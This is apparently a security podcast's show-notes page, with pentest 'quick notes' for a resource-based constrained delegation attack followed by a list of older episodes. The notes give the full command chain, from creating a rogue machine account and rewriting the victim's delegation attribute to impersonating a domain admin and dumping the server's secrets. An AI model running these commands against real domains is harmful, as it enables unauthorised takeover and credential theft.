7MS #521: Tales of Pentest Pwnage - Part 36
7 Minute Security20 Touko 2022

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Jaksot(705)

7MS #256: AlienVault Certified System Engineer - Part 2

7MS #256: AlienVault Certified System Engineer - Part 2

So a few weeks ago I did an episode about the AlienVault Certified Security Engineer certification, and last Friday I took a stab at the test. I failed. It kicked my butt. Today I'm here to both rant about the unfairness of the test and offer you some study tips so you don't suffer a similar fate. P.S. - you should definitely check out this blog as it's one of the few valuable study guides I could find out there on the Interwebs.

4 Touko 201711min

7MS #255: PwnPro 101

7MS #255: PwnPro 101

I'm kicking the tires on the PwnPro which is an all-in-one wired, wireless and Bluetooth assessment and pentesting tool. Upon getting plugged into a network, it peers with a cloud portal and lets you assess and pentest from the comfort of your jammies back at your house! Oh, and did I mention it runs Kali on the back end? Delicious. Today's episode dives into some of what I've been learning about the PwnPro as I run it through its paces at work and warm it up for our first customer assessment...

27 Huhti 201710min

7MS #254: Bash Bunny

7MS #254: Bash Bunny

I've been working with the Bash Bunny for the past few weeks in preparation for a presentation/demo I'm doing in a few weeks. Today I want to talk about what the Bunny is, the cool things it can do, and some of my favorite payloads. Also, I started thinking about what conversation topics spawn from a demo of the Bunny. Specifically, I want to know how people would defend against the Bunny using AD policies, peripheral controls, etc. Check out the Hak5 thread I started about this, as it has got some great ideas.

20 Huhti 201710min

7MS #253: Desperately Seeking Service Accounts

7MS #253: Desperately Seeking Service Accounts

Find the show notes here!

13 Huhti 20179min

7MS #252: LAPS - Local Administrator Password Solution

7MS #252: LAPS - Local Administrator Password Solution

Show notes are here.

6 Huhti 20178min

7MS #251: Blackholing Malvertising with Pi-Hole

7MS #251: Blackholing Malvertising with Pi-Hole

Show notes are here

30 Maalis 201710min

7MS #250: The PBS Telethon Episode!

7MS #250: The PBS Telethon Episode!

Show notes for today's episode can be found here!

23 Maalis 201710min

7MS #249: AlienVault Certified Security Engineer - Part 1

7MS #249: AlienVault Certified Security Engineer - Part 1

Show notes are here.

16 Maalis 20179min

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